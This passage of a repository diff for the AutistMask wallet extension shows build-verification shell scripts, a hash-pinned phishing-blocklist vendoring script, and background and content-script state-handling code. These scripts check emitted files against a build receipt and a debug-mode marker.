check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \
"names dist/chrome/src/popup/index.js, which does not exist." \
c_emitted_missing
check_case "emitted file empty" \
no release 1 "which is empty. An empty file" c_emitted_empty
check_case "emitted file unreadable" \
yes release 1 \
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
c_emitted_unreadable
check_case "emitted bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker
check_case "emitted bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers
check_case "marker on a file the build did not record as a bundle" \
no release 1 "carries a debug marker but the build did not" \
c_marker_on_plain_file
discard_case "a failed release build step removes dist/" \
c_control 3 gone "dist/ WAS REMOVED" "" sh -c 'exit 3'
discard_case "a successful release build step leaves dist/ alone" \
c_control 0 kept "" "REMOVED" true
discard_case "a failed release build step with no dist/ says there was none" \
c_no_dist 3 gone "There was no dist/ to remove" "" sh -c 'exit 3'
discard_case "the wrapper given no command removes nothing" \
c_control 1 kept "no command given" ""
check_makefile_wiring
}
# --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() {
cd "$ROOT"
[ -x "$VERIFY_BUILD" ] || {
echo "test-verify-build: $VERIFY_BUILD is missing or not executable" >&2
exit 1
}
[ -x "$DISCARD_DIST" ] || {
echo "test-verify-build: $DISCARD_DIST is missing or not executable" >&2
exit 1
}
echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
"a mode-000 file)"
fi
run_cases
if [ "$FAILED" -ne 0 ]; then
echo "test-verify-build: $FAILED case(s) FAILED," \
"$PASSED passed, $SKIPPED skipped" >&2
exit 1
fi
if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF
################################################################################
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
## This process is uid $(id -u), and no runner subject to file permissions was
## available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so the permission cases
## would have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################
EOF
echo "test-verify-build: $PASSED case(s) passed," \
"$SKIPPED SKIPPED AND NOT PROVEN (see the warning above)"
return 0
fi
echo "test-verify-build: $PASSED case(s) passed"
}
main "$@"

View File

@@ -1,105 +0,0 @@
#!/bin/sh
# script/vendor-blocklist: refresh the vendored phishing blocklist at
# src/shared/phishingBlocklist.json from its upstream source. Our own extension
# to scripts-to-rule-them-all.
#
# This is build-time repo tooling and is not shipped. It is the one place in
# this repo that names the upstream project, because a source reference that
# does not say what the source is cannot be verified by anyone; the artifact it
# writes carries no names at all (see src/shared/domainHash.js).
# script/check-censored reads the name back out of this file rather than
# repeating it, so it stays defined exactly once.
#
# Run it deliberately, not on every build: the output is committed, and the
# extension does no runtime fetching, so the shipped list is exactly as fresh as
# the last time someone ran this and landed the result. Re-run it, land the
# diff, cut a release; that is the whole refresh path.
#
# Pinned by content hash, twice over, as REPO_POLICIES.md requires. The commit
# below is an immutable ref — the upstream default branch moves several times a
# day and cannot be pinned — and UPSTREAM_SHA256 is the sha256 of the bytes that
# commit serves. A mismatch is a hard failure: a vendoring step that accepts
# whatever it is handed is a supply-chain hole, and this one feeds a security
# warning shown to users.
#
# To move the pin: pick the new commit, run this with the new UPSTREAM_COMMIT
# and an UPSTREAM_SHA256 you have not yet updated, and it will print the hash it
# actually got. Verify that hash against the source independently before
# recording it. Never copy the "actual" line in on trust.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Upstream, pinned 2026-08-17.
UPSTREAM_ORG="MetaMask"
UPSTREAM_REPO="eth-phishing-detect"
UPSTREAM_COMMIT="6dddf74a87da3e1a0841f7ae0d1cb31aaf2c05db"
UPSTREAM_FILE="src/config.json"
UPSTREAM_SHA256="166d5b3504e8f4ed52eae37d3dd20c1a56efa0502bfb3dc957044ff8b5f1283f"
OUTPUT="src/shared/phishingBlocklist.json"
WORK=""
cleanup() {
[ -z "$WORK" ] || rm -rf "$WORK"
}
trap cleanup EXIT INT TERM
fail() {
echo "vendor-blocklist: $*" >&2
exit 1
}
sha256_of() {
if command -v sha256sum >/dev/null 2>&1; then
sha256sum "$1" | cut -d' ' -f1
elif command -v shasum >/dev/null 2>&1; then
shasum -a 256 "$1" | cut -d' ' -f1
else
fail "neither sha256sum nor shasum is available, so the fetched
source cannot be verified. Refusing to vendor unverified content."
fi
}
main() {
cd "$ROOT"
command -v curl >/dev/null 2>&1 ||
fail "curl is required to fetch the upstream list"
command -v node >/dev/null 2>&1 ||
fail "node is required to build the artifact; run script/bootstrap"
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-vendor-blocklist.XXXXXX")" ||
fail "could not create a working directory"
url="https://raw.githubusercontent.com/$UPSTREAM_ORG/$UPSTREAM_REPO/$UPSTREAM_COMMIT/$UPSTREAM_FILE"
echo "Fetching $url"
curl -fsSL --proto '=https' --tlsv1.2 -o "$WORK/source.json" "$url" ||
fail "the fetch failed, so nothing was vendored"
actual="$(sha256_of "$WORK/source.json")"
if [ "$actual" != "$UPSTREAM_SHA256" ]; then
fail "sha256 mismatch on the fetched source.
expected: $UPSTREAM_SHA256
actual: $actual
The pinned commit is immutable, so the same commit serving different bytes
means the content was substituted somewhere between upstream and here.
Nothing was written. Do not update the expectation to match unless you have
verified the new bytes independently."
fi
echo "Verified sha256 $actual"
node script/lib/build-blocklist.js "$WORK/source.json" "$WORK/out.json" ||
fail "the transform failed, so nothing was written"
if [ -f "$OUTPUT" ] && cmp -s "$WORK/out.json" "$OUTPUT"; then
echo "vendor-blocklist: $OUTPUT is already up to date"
return 0
fi
cp "$WORK/out.json" "$OUTPUT"
echo "vendor-blocklist: wrote $OUTPUT (sha256 $(sha256_of "$OUTPUT"))"
}
main "$@"

View File

@@ -1,607 +0,0 @@
#!/bin/sh
# script/verify-build: assert that the regular files and symlinks under dist/
# are exactly what the build that just ran emitted (other file types are out of
# scope; see "What that does and does not establish" below), and that the
# compiled DEBUG state of that output is the one the caller asked for. Our own
# extension to scripts-to-rule-them-all, run at the end of make build /
# make build-debug.
#
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
# phrase the output of wallet creation, so a release artifact built with it live
# hands every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes the
# fallback branch; the property only exists in the emitted output, so it has to
# be asserted against the emitted output.
#
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
# taken from this script's environment. It used to be read from
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
# exported in their shell could run the release target, get a debug build, and
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
#
# Why the provenance half exists: on its own, a marker grep proves nothing
# about where the bytes came from. A 26-byte file containing only the marker
# string used to verify ok; the content script and manifest.json were not read
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with no regular file
# or symlink added, missing or altered in between, and that the audited bundles
# in it compiled to the requested mode. Regular files and symlinks are the whole
# of what the tree walk covers; fifos, sockets, device nodes and empty
# directories under dist/ are not checked, because a build emits none of them,
# none can carry a shippable payload, and grep on a fifo would hang rather than
# fail. It does NOT establish that the source tree or build.js were honest, and
# it says nothing at all to someone handed a dist/ from elsewhere: without the
# receipt from its own build they have no input to this check. That is signing,
# and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere.
# check_dist_tree re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths"
# A literal newline and tab, for the receipt-shape guards.
NEWLINE='
'
TAB=' '
MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called.
LISTING=""
fail() {
echo "verify-build: FAIL: $*" >&2
exit 1
}
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING"
}
trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as
# "no marker" — that would blame the bundle for a permissions or I/O fault.
has_marker() {
_hm_status=0
grep -q -F -e "$1" -- "$2" || _hm_status=$?
case "$_hm_status" in
0) return 0 ;;
1) return 1 ;;
*)
fail "grep exited $_hm_status reading $2, so the file could not be
searched and its DEBUG state was not checked at all. That is a permissions
or I/O fault on the artifact, not a change in the emitted output. Refusing
to report success."
;;
esac
}
# Pick the sha256 command once. All three print the digest as the first
# whitespace-delimited field. If none is present the digests cannot be taken at
# all, and this script has nothing left to check with, so it fails rather than
# degrading to the marker grep it used to be.
pick_sha256() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256="openssl dgst -sha256 -r"
else
fail "no sha256 command found (tried sha256sum, shasum, openssl), so
the emitted files cannot be checked against the build receipt at all.
Refusing to report success."
fi
}
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
# not a pass: it means the artifact was never read.
read_sha256() {
_rs_status=0
# Word-split on purpose: SHA256 is a command with its arguments.
# shellcheck disable=SC2086
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
[ "$_rs_status" -eq 0 ] ||
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;;
esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
}
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
# present. Both means the ternary in constants.js was never folded, which is
# what happens when the __BUILD_DEBUG__ define goes missing from build.js:
# DEBUG stops being known at build time. Neither means we are reading output
# we do not understand. Both are hard failures; neither is ever treated as
# absence of a problem.
read_marker() {
_file="$1"
_on=no
_off=no
if has_marker "$MARKER_ON" "$_file"; then _on=yes; fi
if has_marker "$MARKER_OFF" "$_file"; then _off=yes; fi
if [ "$_on" = yes ] && [ "$_off" = yes ]; then
fail "$_file carries both debug markers, so DEBUG was not resolved at
build time: the ternary in src/shared/constants.js survived into the
emitted output. This does not mean the debug branch is live in this
artifact: an unresolved __BUILD_DEBUG__ is undeclared in extension
context, so DEBUG evaluates to false at runtime. It does mean the
release/debug distinction is no longer enforced at build time, and which
way that fallback happens to evaluate is then an accident a refactor can
flip. Check that build.js still defines __BUILD_DEBUG__."
fi
if [ "$_on" = no ] && [ "$_off" = no ]; then
fail "$_file carries no debug marker, so its DEBUG state cannot be
determined. Either BUILD_DEBUG_MARKER is gone from src/shared/constants.js
or the emitted output changed shape. Refusing to report success."
fi
if [ "$_on" = yes ]; then
MARKER="$MARKER_ON"
else
MARKER="$MARKER_OFF"
fi
}
# --- the receipt ------------------------------------------------------------
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
#
# The walk has to be exhaustive and every name has to survive it intact, so
# four things are enforced rather than assumed:
#
# - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then
# matched a listed path, and a name containing a newline arrived as a
# listed path plus an empty one. Both left an unchecked file in dist/ while
# the script still reported success.
# - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. The build emits none, so
# a symlink under dist/ is a path the build did not produce, whatever it
# points at, and it fails as one instead of being read through.
# - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry
# and cross-checks nothing.
#
# Types other than regular files and symlinks — fifos, sockets, device nodes and
# empty directories — are left out on purpose, and the guarantee is bounded to
# what is walked: a build emits none of them, none can carry a shippable
# payload, and grep on a fifo would hang rather than fail.
check_dist_tree() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success."
_find_status=0
find dist \( -type f -o -type l \) -print0 >"$LISTING" || _find_status=$?
[ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any
file the build did not emit could be sitting there unchecked. That is a
permissions or I/O fault on the artifact. Refusing to report success."
_scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] ||
fail "the dist/ tree scan exited $_scan_status: either a path under
dist/ failed the check reported above, or the scan could not be run at all.
Refusing to report success."
}
# Does the receipt name the path $1? Compared as whole strings, never through
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
# the place to put one. The receipt's own paths are known to carry no
# whitespace by the time this runs — verify_receipt failed the run otherwise —
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() {
for _file in "$@"; do
if [ -h "$_file" ]; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue
fi
fail "$_file is under dist/ but the build that just ran did not emit
it. dist/ must contain exactly what the build produced: an extra file there
is an artifact nothing vouches for, and shipping the directory ships it."
done
}
# --- arguments --------------------------------------------------------------
# The expected mode and the receipt are stated by the caller. Nothing is read
# from the environment, and there is no default for either.
parse_args() {
while [ "$#" -gt 0 ]; do
case "$1" in
--expect)
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
}
set_expect() {
[ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then
shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@"
return 0
fi
parse_args "$@"
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so the tree walk hit
# has_marker's I/O path by luck; under a grep that exits 1 instead, the
# whole cross-check would have collapsed into a pass.
if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the tree walk would see one entry
instead of the emitted tree and establish nothing about it. Refusing to
report success."
fi
[ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first."
case "$RECEIPT" in
"$ROOT/dist" | "$ROOT/dist/"*)
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
the tree it describes is rewritten by whoever rewrites the tree, and vouches
for nothing. make build keeps it outside the repo."
;;
esac
[ -e "$RECEIPT" ] ||
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
fail "$RECEIPT is not a regular file, so it is not a build receipt."
[ -s "$RECEIPT" ] ||
fail "$RECEIPT is empty, so the build wrote nothing to it and there is
no account of what it emitted. build.js writes the receipt last, so an
empty one means the build did not finish."
[ -r "$RECEIPT" ] ||
fail "$RECEIPT is not readable, so nothing was inspected. That is a
permissions or I/O fault, not a pass."
echo "Verifying emitted files against the build receipt (expecting" \
"$EXPECT)..."
# Order matters. The receipt has to be well-formed before it is used as an
# expectation, and the tree has to be walkable in full before any single
# file in it is pronounced on: a subtree that cannot be descended makes
# every file under it look absent, and "could not look" must never be
# reported as "was not there".
check_receipt_shape
check_dist_tree
check_receipt_entries
echo "verify-build: $COUNT emitted file(s) verified against the receipt," \
"$AUDITED bundle(s) $EXPECT"
}
main "$@"

File diff suppressed because it is too large Load Diff

View File

@@ -1,96 +0,0 @@
// The background's access to the persisted profile.
//
// There is no in-memory copy here, and that is the whole design. The MV3
// service worker is terminated when idle and revived by the next message, so
// anything held at module scope is either absent or arbitrarily stale, and
// src/shared/state.js's module-level `state` singleton — which nothing in the
// worker ever populates — silently served DEFAULT_STATE to whoever read it.
// Five defects came out of that (https://git.eeqj.de/sneak/AutistMask/issues/324),
// and every point fix for one of them added a loadState() that created the
// next: loading detaches the objects an in-flight handler is holding.
//
// So the background reads per call and writes read-modify-write:
//
// getState() one storage read, normalized, detached. Nothing else
// holds the object it returns, so a handler may keep it
// across any number of awaits and no concurrent work can
// move it.
// updateState(fn) read fresh, apply fn to that fresh record, write it
// back — all inside a queue, so two background writes
// never interleave, and the read is one storage round trip
// ahead of the write rather than a page lifetime ahead of
// it (which is what made the popup's saveState() need a
// per-field merge against a baseline at all).
//
// A handler that must both read and write therefore does its network work
// against a snapshot it owns, and applies the RESULT inside updateState().
// It never publishes an object other in-flight work is holding.
const { storageGet, storageSet } = require("../shared/browserApi");
const { normalizePersisted } = require("../shared/persistedState");
const {
STATE_SCHEMA_VERSION,
assertStateUsable,
} = require("../shared/stateSchema");
// A fresh, fully-normalized, detached copy of the persisted profile.
//
// Normalized rather than raw: a legacy or malformed record is self-healed the
// same way loadState() heals it for the popup, so the background is never the
// one context reasoning about a shape the rest of the extension repairs.
//
// Throws StateUnusableError for a record this build cannot make sense of,
// before normalization gets a chance to paper over it — the same gate, in the
// same place, as the popup's loadState(). Every handler that consults the
// profile comes through here, so a dApp call against such a record is answered
// with the specific error the dispatcher maps that to (src/background/index.js)
// rather than dereferencing its way into a generic -32603.
async function getState() {
const result = await storageGet("autistmask");
assertStateUsable(result.autistmask);
return normalizePersisted(result.autistmask);
}
// Serializes the read-modify-write turns below. Two of them interleaved would
// each read before the other wrote, and the second write would carry the first
// one's fields back to their pre-turn values.
let updateQueue = Promise.resolve();
async function updateStateOnce(mutate) {
const s = await getState();
await mutate(s);
s.hasWallet = Boolean(s.wallets && s.wallets.length > 0);
// Stamped on every write, exactly as the popup's saveState() stamps it:
// whichever context writes last, the record in storage is in this build's
// shape and says so.
s.schemaVersion = STATE_SCHEMA_VERSION;
await storageSet({ autistmask: s });
return s;
}
// Apply `mutate` to a record read fresh from storage and write the result
// back. `mutate` receives a detached, normalized profile and mutates it in
// place; it may be async, but it must not do anything slow — the window
// between the read and the write is the window in which another context's
// write is lost, and keeping it to one storage round trip is what makes a
// whole-record write safe here. Concretely: the write is the WHOLE record, so
// a popup write that lands inside that window is reverted, in every field, by
// the record this turn read before it. That is accepted because the window is
// one round trip long and the popup is not writing while the worker is;
// widening it is what would make it a real hazard.
//
// `mutate` must also not call updateState() itself, directly or through
// anything it awaits: the queue is strictly serial, so the inner turn waits on
// the outer one, which is waiting on the inner one. That deadlocks the whole
// background, not just the caller. Mutate the record you were handed.
//
// Resolves with the record that was written.
function updateState(mutate) {
const turn = updateQueue.then(() => updateStateOnce(mutate));
// The queue must advance even when a turn rejects, or every update after
// it queues behind a promise that never settles.
updateQueue = turn.catch(() => {});
return turn;
}
module.exports = { getState, updateState };

View File

@@ -1,20 +1,12 @@
// AutistMask content script — bridges between inpage (window.ethereum)
// and the background service worker via extension messaging.
const {
hasBrowserNamespace,
runtimeApi,
sendMessage,
storageGet,
storageSet,
} = require("../shared/browserApi");
// In Chrome (MV3), inpage.js runs as a MAIN-world content script declared
// in the manifest, so no injection is needed here. In Firefox (MV2), the
// "world" key is not supported, so we inject via a <script> tag.
if (hasBrowserNamespace()) {
if (typeof browser !== "undefined") {
const script = document.createElement("script");
script.src = runtimeApi().getURL("src/content/inpage.js");
script.src = browser.runtime.getURL("src/content/inpage.js");
script.onload = function () {
this.remove();
};
@@ -22,27 +14,23 @@ if (hasBrowserNamespace()) {
}
// Send the persisted EIP-6963 provider UUID to the inpage script.
// Generated once at install time and stored in extension storage.
(async function sendProviderUuid() {
let uuid = null;
try {
const items = await storageGet("eip6963Uuid");
uuid = items?.eip6963Uuid;
// Generated once at install time and stored in chrome.storage.local.
(function sendProviderUuid() {
const storage =
typeof browser !== "undefined"
? browser.storage.local
: chrome.storage.local;
storage.get("eip6963Uuid", (items) => {
let uuid = items?.eip6963Uuid;
if (!uuid) {
uuid = crypto.randomUUID();
await storageSet({ eip6963Uuid: uuid });
}
} catch {
// Storage was unavailable or refused the write. The announcement
// still has to go out — a provider that never announces is invisible
// to every EIP-6963 dApp — so it goes under a fresh uuid that this
// page load will not outlive.
if (!uuid) uuid = crypto.randomUUID();
storage.set({ eip6963Uuid: uuid });
}
window.postMessage(
{ type: "AUTISTMASK_PROVIDER_UUID", uuid },
location.origin,
);
